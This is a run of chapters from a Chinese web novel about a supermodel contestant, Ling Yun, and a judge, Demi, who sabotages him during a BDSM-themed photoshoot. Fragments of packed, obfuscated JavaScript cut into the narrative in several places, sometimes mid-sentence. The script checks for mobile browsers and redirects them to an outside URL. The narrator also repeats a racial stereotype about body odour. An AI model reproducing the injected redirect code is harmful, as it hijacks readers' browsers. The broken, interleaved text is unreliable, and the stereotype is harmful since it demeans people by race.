这一季的超模别墅相当豪华,选手们不用挤大通铺了,能够做到两个选手共享一个带浴室的房间,保证了男女选手混合的情况下,依旧有隐私。 少了导师讲解注意事项的环节,选手们在工作人员的指挥下,很快分配好了房间。 凌云和一个叫哈维的选手一起住。哈维是一个拉丁舞老师,他的皮肤呈现出一种蜜一样的棕色,脸颊蓄了浅浅的胡子,整体上看起来非常性感。 哈维的脸上总是带着笑,让人觉得他很友善。他让凌云先去卸妆洗漱,他晚一点没关系。 “我脸上没什么妆。”凌云说,“你先去吧。” “哇哦,那你皮肤真的很好。没关系,你先去,我相信你会很快的。我要在浴室里待很久呢,为了处理我的毛发。” 拉丁裔男人朝凌云眨了眨眼睛。 凌云不再推辞,迅速洗了个战斗澡,然后吹干头发钻进被窝。房间里是两张一米三五的单人床,倒是省去了同床共枕的尴尬。 凌云不知道自己是什么时候睡着的,也许刚粘上枕头就睡着了。哈维是个体贴的室友,整夜,没弄出一点儿声响。 一夜无梦。 · 翌日,凌云照例早上六点就睁开眼睛。 这是他多年来养成的习惯,哪怕从高中生过渡到游轮服务生,也一直是这个时间起床。 早上六点的超模别墅静悄悄的,只有零星几个工作人员起了,正在睡眼惺忪地架机器、调试设备。 凌云和他们问好,得知别墅里有健身房后,去健身房里锻炼了一个小时,然后面色潮红地回房间。 室友哈维刚起,看到他吓了一跳。 “你皮肤很红,是过敏了吗?”他关心道。 “不是。”凌云轻轻喘着气,解释道,“不是过敏,我刚运动完。我是不怎么出汗的体质,热了皮肤就会变烫变红。我去冲个澡降温。” 哈维上下打量他,吹了个口哨:“很棒的体质。” “哈哈!” 等凌云冲完澡出来,哈维也进去冲了个澡。对此凌云已经见怪不怪了。非黄色人种普遍有很大的体味,这玩意儿是基因里自带的,只有勤快一点早晚洗澡能稍微改善。 如果自律到阿什·艾梅洛德那种程度……起码,凌云从来没在他身上闻到过任何令人不适的味道。 时间还早,凌云简单擦了下头发就去楼下的厨房给自己做早餐了。三文鱼煎到一半,新结识的好闺蜜胡彤也起来了。 凌云就顺手给她也做了一份。 选手们陆陆续续起床,下楼,解决早餐。 等到八点钟的时候,没等来导师卡罗琳。 继昨晚的落荒而逃后,黛米再次来到了超模别墅。 “早上好,模特们。”显然,黛米已经调整好了状态。她穿着职业套装,化着全妆,整个人看起来容光焕发,“很遗憾,卡罗琳有非常重要的事情需要处理,今天由我来担任你们的临时导师。” 有了昨晚,凌云对黛米丝毫不落入下风的对抗,选手们对这位本就充满争议性的评委祛魅了。 听到黛米热情洋溢的开场白,没再和之前一样盲目地吹捧她,只是礼貌性地表达了配合。 不过,这并没有打消黛米作为一日临时导师的积极性。 她转而对凌云说道:“凌云,我不得不遗憾地通知你,因为你对节目组制定的规则的藐视,节目组决定给予你一些惩罚,以维护规则的权威。你同意吗?” 凌云心想,这还能由得我同不同意的? 我要是说我不同意,是不是马上就要被强制退赛了? 凌云:“我同意。只要不是不给我饭吃。” 摄像机拍着呢,他开了个玩笑缓和气氛。 “放心,节目组当然不会虐待选手。”黛米宣布,“节目组对你的惩罚就是,在今天的准备环节,你必须等到所有人都选完衣服了,才能选。而且你必须自己化妆和做造型,化妆师将不会为你提供服务。” 就这?凌云松了口气。 这对他来说也算不上什么惩罚吧? 还是说,节目组认为,昨天他拿下半决赛的最佳硬照,是靠着cosplay塞德里克? 那只能说非常遗憾了。 凌云一口答应:“好。” 接下来,黛米似乎终于想起,她还有一项任务是要向选手们讲解注意事项,于是慢吞吞地开始介绍。她从超模别墅的历史讲到了这附近住了哪些社会名流,话里话外展示着自己不俗的人脉。 还提醒大家,千万不要为了巴结大人物,就私自离开超模别墅——根本用不着她来说。 不过她到底是评委,没人有资格打断她,大家只能耐着性子听她介绍这些。 又是一个多小时下来,凌云发现,自己真是一点干货也没有学到呢。 上午十点,黛米喝了口工作人员递来的水,终于宣布:“好了,是时候出发去今天的硬照拍摄地了。” 所有人这才重新打起精神。 “对了。”黛米有些懊恼地点了点太阳穴,温柔地说道,“凌云,还有你胡彤。差点忘了一件重要的事。你们的最佳硬照海报我带过来了,本来应该昨晚就挂在客厅的。不过,现在挂也来得及。等今晚回来的时候,还能和今天的最佳硬照放在一起对比。” 说完,黛米催促选手们赶紧上车,大巴车已经在外面等着了。 凌云和拿着海报的工作人员擦肩而过,没能看一眼自己的最佳硬照被做成LED灯牌,挂在客厅的白墙上。 算了。 晚上回来,再欣赏自己的两张最佳硬照吧。 同样被无语到的胡彤仗着加密语言,跟凌云吐槽:“你听见她说什么了吗?‘还有你胡彤’!我是顺带的?” 凌云安慰她:“不讲不讲。” · 大巴车在洛杉矶的街道上行驶了大约四十分钟,窗外的街景从比弗利山庄的奢华,逐渐过渡到市中心更为复杂多元的建筑群。 最终,停在了百老汇一栋外观相当古怪的建筑前。 建筑的外墙是斑驳的灰色砖墙,看起来有些年头了,几处墙皮剥落,露出里面深色的砖块。所有窗户都被涂成了黑色,从外面,完全看不见里面的任何情况。 入口是厚重的铁门,上方只有一块霓虹灯招牌,看不清字母,边缘闪着暗红色的光。 “这是什么地方?”有选手问,“看起来很像恐怖电影里的场景。” 另一位选手说道:“也许是鬼屋主题的拍摄?《荣耀之台》做过好几期万圣节特辑。” 黛米率先下车。 高跟鞋踩在柏油路面上,发出清脆的声响。她转过身,看向选手们,脸上带着神秘的笑容,说道: “欢迎来到今天的硬照拍摄地。这里不是鬼屋,而是一位不愿透露姓名的收藏家的工作室兼私人展厅。” 她走到铁门前,门自动打开,选手们跟着她,好奇地朝里面走去。 室内的灯光设计非常大胆,大红大蓝。等视网膜稍微适应后,所有人都为眼前的一幕倒吸了一口凉气。 这根本不是他们想象中的恐怖风格的摄影工作室,而是一座人类情趣博物馆!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103005|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宽敞的挑高空间被巧妙地划分为几个区域。水泥墙上挂满了各式各样的皮革制品、金属锁具,和一些普通人根本不知道干什么用的刑具。 更有一排排玻璃展示柜里整齐地摆放着不同材质的手铐、鞭子。从实用的皮质到装饰着羽毛的情趣款式,应有尽有。 更令人震撼的是正中央,逼真的人体模型穿着设计大胆、工艺精湛的情趣服饰。 几乎所有人的脸颊都腾地一下热了起来。 “哇哦。”哈维吹了个口哨,“这可真是……超乎想象。” 选手们在短暂的感慨后,迅速接受了这一切。大家像是参观一座真正的博物馆似的,凑近玻璃展示柜仔细研究,低声讨论这些刑具的设计细节和用途。 胡彤站在凌云身边,用中文小声说:“这尺度会不会太大了点?” 凌云:“你好,女士,这里是美国。” 这么说着,他的目光冷静地扫过整个艺术空间,最后停在黛米的脸上。 和他一样,这位评委正在观察选手们的反应,那张精致的脸上带着一种已然掌控全局的愉快和满足。 黛米拍了拍手,将所有人的注意力拉回到她身上。 “如你们所见,”她的声音在挑高空间里自带回音,有种恰到好处的戏剧感,“今天你们将要探索的,是一种不同寻常的性感。《荣耀之台》试图打破常规,挖掘出你们每个人身上最原始、最具诱惑力的一面。也就是性。” 她停顿了一下,目光缓缓扫过每一张脸。 “请注意——我要的不是廉价的、直白的欲望。不是《花花公子》那样低俗的搔首弄姿。我要的是高级的、有张力的、充满故事感的性感。是眼里藏着秘密,唇齿间若隐若现的邀请。” 不得不说,黛米很会形容。 选手们若有所思地点头。斯隆率先行动起来,她走到一张白色的威尼斯面具前,用手指轻轻抚摸上面的珠串,显然对它很感兴趣。 见状,其他选手纷纷开始挑选起来。 黛米注意到大家的反应,微微一笑,接着,大声宣布今天的比赛规则。 “今天的拍摄还有一个特别之处。”她的声音里带着一丝显而易见的兴奋,“今天不是选手之间的配合拍摄——今天你们每个人的搭档都是我。” 话音刚落,房间里顿时响起一阵窃窃私语。 “我会根据每个人的特点、气质和今天选择的服装,扮演不同的角色。”黛米继续说道,她的一只手轻轻搭在一个人体模型的肩上,“我会扮演一个掌控全局的强势的主人。当然,如果大家有需要,我也可以是一只调皮的猫咪。” 她转向几位女选手:“我尤其期待与女选手们的合作。要知道,同性之间的互动往往更加危险迷人。” 选手们的反应各异。有些女选手显得跃跃欲试,有些则面露难色。男选手们则表情复杂——与评委搭档本来就压力巨大,何况是这种敏感主题。 凌云站在人群后面,挑了挑眉。 他忽然明白早上在超模别墅里,黛米那一大段关于超模别墅的历史、比弗利山庄名流、节目规则的长篇大论是怎么回事了——那些看似毫无营养的铺垫,原来,都是为了这一刻。 这位评委不仅仅是想当临时导师,她还想成为每张硬照中的一部分。 这样一来,无论今天谁拿下最佳硬照,照片上都会有黛米的身影。她的形象将被制作成LED灯牌,挂在超模别墅的客厅的白墙上,和选手们的照片一起。 她既能在节目里刷足存在感,又不用承担被淘汰的风险——毕竟评委是不会被淘汰出局。 真聪明。不论谁赢,她都是赢家。 “准备好了吗,模特们?”黛米再次拍了拍手,她看上去比选手们还要兴奋,“现在,请先去化妆和挑选衣服。记住,你们只有四个小时的时间准备。拍摄在下午两点准时开始。” 她当然没忘了凌云。 “凌云。”黛米叫住他,脸上带着标准量化的假笑,“根据节目组对你的惩罚,你必须等所有人都选完后,才能开始做准备。记住,你需要自己完成化妆和造型。” “明白。”凌云的脸上看不出任何情绪波动。 他索性找了个角落的皮沙发坐下,观察其他选手的反应。 大多数选手面对满屋子的SM道具和情趣服饰,依旧显得有些不知所措。这种主题对他们来说太过超前,尤其是那些刚入行没多久、主要拍摄商业广告或青少年杂志的选手,完全不知道从何下手。 “该死!要怎么表现高级的欲望?”一位男选手小声对室友说道,“我还是个处男,我连这些道具是干嘛的都不知道……” 他的室友无奈地耸了耸肩:“跟着感觉走?黛米不是说了吗,重点是张力和故事感。或许我们可以学凌云,复刻《五十度灰》。” 不过,也有几个人很快进入了状态。 斯隆——那位有着耀眼的金发的选手——几乎毫不犹豫地走向一条宝蓝色的漆皮紧身裙。她将它从衣架上取下,对着全身镜比划,然后搭配了一双白色的蕾丝长手套。接着,她走到配件区,挑选了一条带有小巧锁具的黑色丝绒项圈,不过,并没有往自己的脖子上放。 她是为黛米挑选的。 有意思。凌云突然想起来,昨天一整天,斯隆的表现其实不比他差多少。 与此同时,凌云注意到,黛米并没有闲着。她像一只花蝴蝶一样,穿梭在选手之间,给出各种专业建议。 她表面上是在帮助选手,实际上,是在确保每个人的造型都会以她为中心——作为超模,她已经提前在脑海中规划好了每张照片的构图与角色关系。而她自己,将永远处于主导的、掌控的位置。 真是不得了的、狡猾的女人。 时间一分一秒过去,凌云成了全场最闲的一个人。 他在沙发上坐得有些无聊了。 事已至此,凌云决定,干脆先学习一些SM方面的知识吧。 本领不嫌多,他相信总有一天会用上。 7. 紫色床单(2) 《穿裘皮大衣的维纳斯》 《索多玛120天》 《性虐恋》 …… 《统治与服从的艺术:BDSM中的伦理与实践》 《SM101:理智的性虐恋指南》 《SM职业旅程》 …… 凌云废寝忘食地学习。 别的选手选衣服的时候,他在学习;别的选手研究道具的时候,他在学习;别的选手做妆造的时候,他还在学习。 发了狠、忘了情,中午饭都没有吃。 学习了大量有关BDSM的知识。 从起源到演变,从理论到实践,从诗词歌赋到人生哲学……扯远了。 知识无形之中将凌云和其他人拉开差距。 选手们试穿衣服的窸窣声、争夺道具的吵闹声、工作人员来回奔走的脚步声……统统没有干扰到凌云。 低俗世界的纷纷扰扰与他无关,他完全沉浸在了情趣艺术的高贵殿堂里。 “心挺大。” 刻薄的声音从头顶传来。 凌云抬头,是斯隆。 她已经换上了那条宝蓝色的漆皮紧身裙,化妆师给她化了个烟熏妆。头发倒是简单,挽成利落的丸子。她手里正拿着那条为黛米挑选的黑色丝绒项圈。 斯隆看着凌云手中那本厚重的情趣读物,表情古怪,混杂着惊讶、探究,和一丝不易察觉的……佩服? “我在用知识武装自己。”凌云合上书,“既然要拍这种主题,总得了解背后的文化内涵。” 斯隆沉默了几秒。她原本打算过来安慰凌云——青年被孤立的现状显而易见——选手们没有明目张胆地落井下石,也没有为他说话。凌云被节目组“削弱”,所有人都乐见其成。 当然,斯隆并不认为自己比他们高尚,她过来,只是为了回报凌云昨晚的纸巾。 可看到凌云非但不焦虑、不痛苦,甚至不觉得无聊,反而抱着一本她实在说不出口的书看得津津有味,所有准备好的安慰的话,都卡在了喉咙里。 而且……如果她没有理解错的话。 凌云为什么一副自信得不得了的表情? 他在自信什么? 最终,斯隆什么也没有说,转身,踩着高跟鞋离开了。 重新拾起教材之前,凌云的内心其实有一点遗憾。 斯隆看上去想和他交谈,可是为什么又不说话了? 他其实还挺想和人说说话的。 他自认为对情趣艺术的掌握,已然到了至臻化境的程度,斯隆……唉!唉! 她错过了一个向自己学习的机会。 · 下午两点,选手们陆陆续续完成了妆造,开始做最后的准备。 摄影棚已经搭好了,是极简的黑白灰,以配合大多数选手的亮色穿搭。 凌云放下书,走过去围观。黑、白、灰三色的房间冷而硬,唯一亮眼的是中间那张巨大的紫色床单的双人床。 黛米早已换好了她的战袍——一套剪裁极为利落的黑色西装套裙,内搭真丝衬衫,领口开得恰到好处。她的鼻梁上架着一副无边框眼镜,手里还握着一根细长的教鞭。看来,她准备扮演一个性感教师。 第一个进行硬照拍摄的是哈维。 哈维走上前去。他上半身完全赤/裸,只在腰间系了一条白色浴巾,穿搭大胆得简直叫人尖叫连连。 哈维蜜色的肌肉上被精心涂抹了美黑油,在灯光下泛着湿润而性感的光泽,每一块肌肉的起伏都清晰可见,像是刚进行过某种剧烈运动,汗水正在流淌。 “很好,哈维。”黛米主动朝他靠近,手中的教鞭轻轻抽在他绷紧的胸膛上,冰凉的触感让他的肌肉肉眼可见地收缩了一下,“注意镜头。用你的余光感受我的存在。想象你既想反抗我的掌控,又不由自主地深陷其中……对,就是这种着迷的感觉。” 黛米显然深谙如何在镜头前展现自己。 她不断地调整着角度和站位,时而凑近哈维耳边,红唇几乎贴上他的皮肤;时而后退半步,用教鞭的尖端冷酷地勾起男人的下巴。 无论外界怎么讽刺,在镜头面前,黛米绝对拥有一个超模的实力。在这场精心策划的拍摄里,她是主角。 接下来是几位女选手。 黛米果然如她所说,在与女选手合作时,调整了自己的定位。 与斯隆合拍时,她们扮演想要互相驯服对方的猎人——两人各执鞭子,拉扯着对方的项圈,目光凌厉地交锋、试探,形成了一张紧绷而充满对抗感的构图。与胡彤一同拍摄时,她又切换成了温柔权威的引导者,亲手为神情不安的胡彤戴上口球,指尖轻柔地抚过女人的脸颊和脖颈。 每一次互动都是被精心设计好的。 黛米展现出来的实力,叫凌云也目不转睛。 拍摄现场热闹非凡,空气中弥漫着一股被聚光灯烘烤出来的、激情亢奋的气息。 快门的咔嚓声、摄影师的指令声、黛米时而温柔,时而严厉的指导声,还有摄影助理小跑着调整反光板和补光灯的细碎声响……混杂在一起,构成了令人血脉偾张的感官世界。 凌云安静地站在外围,观察着这一切。他注意到,黛米在拍摄间隙,常常快步走到监视器前,仔细查看刚拍下的预览画面,然后迅速调整。 所有细微的调整最终成就了她看起来更完美、更抓人眼球。 而大多数选手对此浑然不觉。 只因为眼前的一切太具有冲击力了,强烈的视觉刺激占据了他们绝大部分的注意力。他们或站或坐,目光难以从摄影棚移开。他们下意识地悄悄观察彼此被情趣服饰紧紧包裹住的身体。 有人脸颊泛红,有人不自在地变换站姿,有人无意识地舔发干的嘴唇。 跟拍摄像师敏锐地捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“衣服被蹭上了大量的粉底液和腮红。”工作人员告诉他,“我们不得不紧急送去干洗。这就导致了……” 她无奈地指向化妆间最角落里,一个孤零零的衣架:“能立刻上身的,只剩下这些了。是被挑剩下的、没有人穿过的。” 顺着她手指的方向看去。 衣架上挂着的,是各式各样的乳胶衣。 深黑色的、酒红色的、亮紫色的……甚至有一件几乎全透明。全都紧身、闪亮,款式色情程度极高。 没人选择它们,因为乳胶衣对人的身材要求极为苛刻,哪怕是模特穿上去,也会暴露身材缺陷。 凌云看着这一排排乳胶衣,没有说话。 复合材料的衣服泛着冰冷、滑腻又暧昧的光泽。 青年的表情没有任何变化,只有嘴角微不可闻地向下撇了撇。显示着他内心并不像看起来那么平静。 所有相对正常的衣服恰好被送去干洗了,只剩下乳胶衣了。而他,恰好患有严重的橡胶过敏症。 巧得简直像是一出精心编排的戏剧。 他还是太小看黛米了。 “要试试吗?”工作人员小心翼翼地指了指其中一件黑色连体衣,“这件……可能比较容易驾驭?” 8. 紫色床单(3) 凌云沉默。 他的目光平静地扫过那些过于紧身和闪亮的衣服,脸上没有任何情绪波动。 过于平静的反应,让一旁的工作人员感到一股难言的尴尬,随之而来的还有不安——她可不想掺和进节目组和选手之间的水火。 “确实只有这些了。”她的声音很低,“真的非常抱歉……” 凌云抬起手,有些无奈地揉了揉脸。 “没关系,”他开口,声音平稳,“我有想法了。” 他看向工作人员,语气礼貌而疏离:“按照惩罚规定,我需要独立完成造型。能请你们暂时离开化妆间吗?” 青年平静地陈述规则,就好像,接受惩罚的人不是他一样。 工作人员愣了一下,看着凌云那张没什么表情的脸,最终点了点头,纷纷退了出去,还轻轻带上了门。 门外,摄影助理压低声音:“他……在里面不会崩溃吧?” 往季也出现过选手被孤立的情况,时间长了没人扛得住,最后不得不主动退赛。 跟拍摄像师正在调整色彩参数,他无所谓道:“要是真情绪崩溃了,那这一期就会点多一个看点。” 摄影助理叹了口气:“规则就是规则。” 时间一分一秒过去。门内安安静静,没有摔打声、哭泣声,甚至没有明显的走动声。 反倒是门外的他们有些焦灼。 就在摄影助理几乎要忍不住敲门时,门把手转动了。 门被拉开,凌云走了出来。 所有人的目光瞬间聚焦,接着集体怔住。 凌云并没有穿乳胶衣。 他穿着一套深灰色细条纹的西装三件套。 西装是廓形剪裁,面料是哑光羊毛混纺,衬衫也是灰色。整体造型包裹严实,至于露肤度……凌云压根没露出一点儿身体皮肤。 青年这身沉闷,甚至称得上是呆板无趣的穿搭,与摄影棚里其他人激情四射的打扮格格不入。 唯一撑住场面的,是凌云自身优越的条件。那张眉眼凌厉轮廓分明的脸,和挺拔的身姿,将这身沉闷的,其实并非他尺码的西装穿出了一股禁欲的味道。 “你……”工作人员瞪大了眼睛,“从哪儿找到……”这么呆板无趣的西装的? 她想起来了。 这套西装是和几件职业裙装放在一起的,就是黛米一开始穿的那套。大概基于一些“老派、绅士的支配者”的造型构想。 有男选手拿走了这套西装上的皮质枪背带,然后它被遗忘在角落,再无人问津。 因为它太正常了,在这个刻意渲染情趣的空间里,正常得近乎乏味。 “你确定……要穿它来拍摄?”摄影助理忍不住确认,语气里有些担忧。穿这身来演绎今天的主题,怎么看怎么像是自暴自弃。 凌云点了点头,脸上依旧没什么表情:“嗯,它很好。” 摄影助理欲言又止。最终他抿了抿唇,目光落在凌云手上。凌云拿了双黑色的乳胶手套。 他心里悄悄松了口气。还好,至少知道用道具来贴合主题。有这双手套点缀,画面总算能和BDSM扯上关系。他和同事交换了一个勉强有救的眼神。 然而,青年随后的动作,再次出乎所有人的意料。 他并没有戴上那双手套。 他只是抬起一只手,将乳胶手套轻轻贴在自己的左侧脸颊上。冰凉的、略带弹性的橡胶材质,与他温热的皮肤短暂接触。他保持这个姿势约莫五秒,眼帘低垂,似乎在感受着什么,随后自然地把手套丢到一边。 整个过程安静迅速,令人费解。 他在干什么?没有人知道。 “可以过去了。”凌云对摄影助理说。 青年抬脚,率先朝摄影棚走去。 · 当凌云以这身异类——实际本质上过于正常——的装扮,出现在摄影棚门口的时候,原本激情四射的拍摄现场,突然卡壳了一瞬。 什么怪东西过来了? 哦不,是什么老古董或者书呆子,惊扰了他们的狂欢? 所有尚未离开的选手、工作人员,目光齐刷刷钉在凌云的身上。 在满目赤/裸肌肤、闪亮漆皮、冰冷金属的环境里,突然走进来一个穿着严丝合缝、仿佛刚从会议室走出来的社畜,这视觉反差尤其强烈。 错愕很快化为情绪的暗流涌动。 不少选手的眼中闪过看好戏和松了口气。哈维挑起眉毛,表情玩味;斯隆则眯起眼睛,目光在凌云的身上逡巡;胡彤轻咬下唇,满脸的担忧。 在他们看来,凌云几乎放弃了性感表达,这无异于是缴械投降。 到底发生了什么?他怎么会选择这样一套衣服? 黛米站在摄影棚中央,看到凌云的一瞬间,她先是怔了一下,随后就笑开了。 她太满意凌云的造型了。 在黛米看来,凌云试图扮演支配者的角色,以此对抗她预设的掌控者的角色,所以他选择了西装。 这想法有点新意,但注定是徒劳的。 因为这座情趣博物馆里,准备了各种风格的服饰,却唯独没有准备符合传统强势男性支配者形象的制服。之前是有的,她令人提前做好了准备,使得今天只有女性支配者形象的制服。 拍摄现场提供的服装,潜意识里强化了她作为唯一视觉中心的地位。凌云从哪儿找来的老古董?想用西装破局?太天真了。 更何况,他根本没有化妆。 强光下,凌云的脸呈现出干净、自然的素颜状态。原始到能看见皮肤的纹理。没有粉底液修饰,没有阴影高光的雕琢,没有眼线眼影的强化。在这每个人都浓墨重彩、竭力将自己打造成欲望符号的环境里,他的素面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103007|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝天显得分外的可笑。 还是说,他想扮演一个被支配者? 他也只能扮演一个被支配者。 这可不是一个好决定。黛米冷笑。 节目组的首席摄影师马库斯从相机后面抬头,看着凌云,眉头拧成疙瘩。他对时尚有着偏执的要求,眼前这身与主题严重割裂的穿搭让他忍不住想要教训选手。 “凌云,我们的时间不多了。”黛米抢先一步,语气带着刻意柔化却不容置疑的催促,“必须在六点前结束。来吧,到这里来。” 她一边说,一边将站姿调整得更为挺拔,目光透过镜片射向凌云,微微扬起下巴,还拿着教鞭,在空中挥舞了几下。 黛米已经进入状态了,迫不及待地想要管教凌云。 凌云轻轻应了一声:“嗯。” 他没有立刻走向聚光灯的中心,走向那张铺着紫色床单的、充满性暗示的床。 而是在即将踏入拍摄区域前,脚步一顿,转向一旁放置杂物和补给品的高柜。上面有一些为工作人员准备的矿泉水。 他拿起一瓶,拧开瓶盖。 “凌云,”趁此机会,胡彤小声提醒他,“你是不是忘了化妆了?你的脸上完全没有妆。” 凌云朝她笑了笑。 他当着所有人的面,将矿泉水倒了一些在自己合拢的掌心。然后抬起湿漉漉的手,手指插入额前,将浓密的黑发从前往后,随意地梳理了几下。 动作干脆,甚至有些粗鲁。 水迅速浸润发丝。青年原本蓬松的黑色刘海被打湿后变得沉重,湿漉漉贴在他光洁额头上,几缕碎发黏在鬓角和耳际。透明水珠顺着青年的额头、脸颊缓缓滑落。 这简单的动作微妙地改变了他周身的气场。 沉闷西装依旧沉闷,但此刻他湿发贴在额际,水痕分割脸颊……还有说不上来的别的细节,莫名就给他那张帅气的、漂亮的脸,染上了一丝难以言喻的欲。 搞什么?明明是素颜,明明脸上一点颜色也没有。 突然一瞬间就叫人移不开实现了。 做完这一切,凌云将还剩半瓶的水随手放回柜子。 在众人各异的目光下,他弯腰,不紧不慢地脱下脚上那双与西装配套的、一尘不染的皮鞋。 他在干什么!其他选手简直想要尖叫了。就这双皮鞋还算S一点,为什么要脱鞋! 穿西装不穿皮鞋会显得很没品! 凌云在干什么? 没有人真的尖叫和质问,所以凌云没法解答他们的疑惑。 凌云抬起眼。目光平静地越过密布的灯具架子,看向黛米,以及她身后那挑动人情欲的紫色床单。 青年赤脚,朝着那片被精心布置的、充满性暗示的拍摄区域走去。 胡彤的担心是多余的。 只有凌云自己知道,他是化了妆的。 9. 紫色床单(4) 凌云的表现印证了黛米的猜测——他打算扮演一个被支配者。 这样一来,他和哈维、卫斯理那些选择赤/裸上身、佩戴项圈的男选手,在定位本质上没什么差别。绝大多数男选手都默认或被迫选择了臣服的角色,因为黛米总是先一步摆出支配者的姿态,等待他们进入她设定的框架。 拍摄过程并不算长。 黛米很快就发现,凌云并不像其他选手那样配合。他很少主动做出那些诱惑或屈服的表情,肢体语言也显得过于克制,甚至有些僵硬。 为了达到想要的戏剧张力,黛米不得不加大动作幅度,肢体接触也比和其他选手拍摄时更直接、更用力。她用教鞭挑起青年的下巴,手指攥他西装的衣领,甚至用高跟鞋尖有意无意地碰触他被丝袜包裹的脚踝。 然而,由于凌云穿得太过于古板严实——衬衫扣子扣到了最上面一颗,领子紧贴着脖颈——这些在别的选手身上充满了性张力的触碰,在凌云这里,效果大打折扣。 在旁观的选手们看来,这场面并一点也不香艳刺激,反而有点……像在单方面欺负一个穿着不合身正装的老实人,有种荒诞的滑稽感。 中午忙起来大家都忘了吃饭,这会儿看了几分钟,不少人觉得兴致缺缺,加上肚子确实饿了,便三三两两勾肩搭背地离开,去大厅吃工作餐了。 黛米也感觉到了凌云的不投入,她把这归结为凌云在自暴自弃。如果换作是她,被节目组这样惩罚、又被无形中刁难,大概也会心灰意冷,提不起劲吧。 黛米的心底掠过一丝近乎怜悯的情绪,但很快被工作时强大的表现欲盖过。 强光下,黛米的眼睛酸涩胀痛,视线有些模糊,不太能看清近在咫尺的凌云的表情和皮肤状态。她的注意力几乎全部放在了如何调整自己的姿势、表情和肢体语言上。因为凌云在肢体反馈上不如其他选手配合,她只好让自己的动作更加夸张,甚至带上了一点儿真实的不耐烦的对抗感,试图用更强烈的外部刺激来激活对方的反应。 她没注意到,节目组的首席摄影师马库斯按动快门的频率异常得高,闪光灯闪烁的次数明显比拍摄其他选手时要密集得多。镜头给得非常大方,堪称做慈善。 要知道相机的快门寿命是有次数的,售价高达几万美元的专业时尚相机,每按一次快门都是实打实的钱。 黛米把这归结于自己今天状态绝佳,表现力非凡。要知道,这场拍摄是她花了一整夜精心构思的。她会打一个漂亮的、职业生涯的翻身仗,让所有人都记住,超模黛米,可不仅仅是个花瓶或话题人物。 “好了!可以了!”马库斯终于喊停,声音比平时略显急促。 拍摄结束。黛米长舒一口气,脸上重新挂上笑容。她第一时间走向摄影师,想看看刚才拍摄的成果——那些她确信会非常出彩的硬照。 “马库斯,让我看看刚才拍的。”她语气轻快。 马库斯动作却有些匆忙,几乎是在她走近的同时,飞快地说道:“啊,黛米,效果……非常好。”他说道,眼神有些飘忽,没有与她对视,似乎还沉浸在刚刚的拍摄中。 黛米皱了皱眉,却没多说什么。她转身,正要去休息,余光瞥见正在朝摄影棚外走的凌云,青年侧脸对着她,聚光灯尚未完全关闭的区域里,她看到他左侧脸颊上……似乎有一片不太自然的红痕? 是错觉吗? 黛米眨了眨酸胀的眼睛,眼前出现短暂的重影,她无法确定。而凌云已经脚步不停地走开了,径直走向隔壁领取盒饭的房间。 黛米晃了晃头,把这点疑虑抛在脑后。大概是看错了,她想,或者只是某种灯光造成的色差。比起关注凌云,她更需要一杯冰水,让自己舒服一点。 · 节目组提供了两种选择:模特们惯常食用的三文鱼蔬菜沙拉套餐,以及工作人员喜欢的、热量更高的牛排意面套餐。 凌云没有犹豫,直接拿了一份牛排套餐。比起极端节食,他始终认为均衡的营养摄入,配合规律的健身,和科学的身材管理,才是可持续的,保持身材的方式。 而现场做出同样选择的,还有一个人——斯隆。 斯隆在凌云旁边的空位坐下,动作自然。凌云对她的选择并不意外,因为他早就注意到,斯隆高挑纤细的身材下,其实有着相当可观的肌肉群,那需要充足的蛋白质和高强度的力量训练来维持。 两人安静地吃了几口。斯隆忽然放下刀叉,盯着凌云的脸仔细看了几秒,眉头渐渐蹙起。 “你的脸……”她语气狐疑,“黛米对你做了什么?” 职场霸凌是她无法容忍的事情。 摄影棚的强光下不太明显,但此刻,在正常的室内光线下,凌云白净的左脸颊上,赫然印着一个轮廓清晰、大小恰如女人的右手的巴掌印!指痕边缘甚至有些肿,泛着不正常的红。 她不说还好,这一说,凌云顿时觉得脸颊上那被他极力忽视的刺痒和灼痛感变得更加鲜明。他强忍着想要抓挠的冲动,拿起冰水喝了一口,才平静地解释: “没有,她并没有对我动手。我们的拍摄……挺愉快的。” 像是想到了什么有趣的画面,他忽然笑了起来,翠绿色的眼睛弯成两道狡黠的弧线,活像只偷到了鸡的狐狸,灵动又带着点孩子气的得意。 斯隆看着他这副模样,忽然意识到,自己可能还是小看他了。一个能在第一次硬照拍摄就拿下最佳,敢公然挑战节目组的规则的人,怎么可能这么轻易就被一场针对性的刁难击溃了心态? “我有点后悔了。”斯隆切下一块牛排,语气平淡,“不该随大流出来吃饭的,应该看完你的拍摄。” 不过她很快又自我否定:“但也不好说,人的肉眼,和专业时尚相机捕捉到的画面区别非常大。”她抬起头,看向凌云,目光里带着欣赏,“我很期待明天的硬照点评环节。” ——按照流程,因为今天导师卡罗琳缺席,正式的评分必须要等到明天早上卡罗琳在时才能进行。 · ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 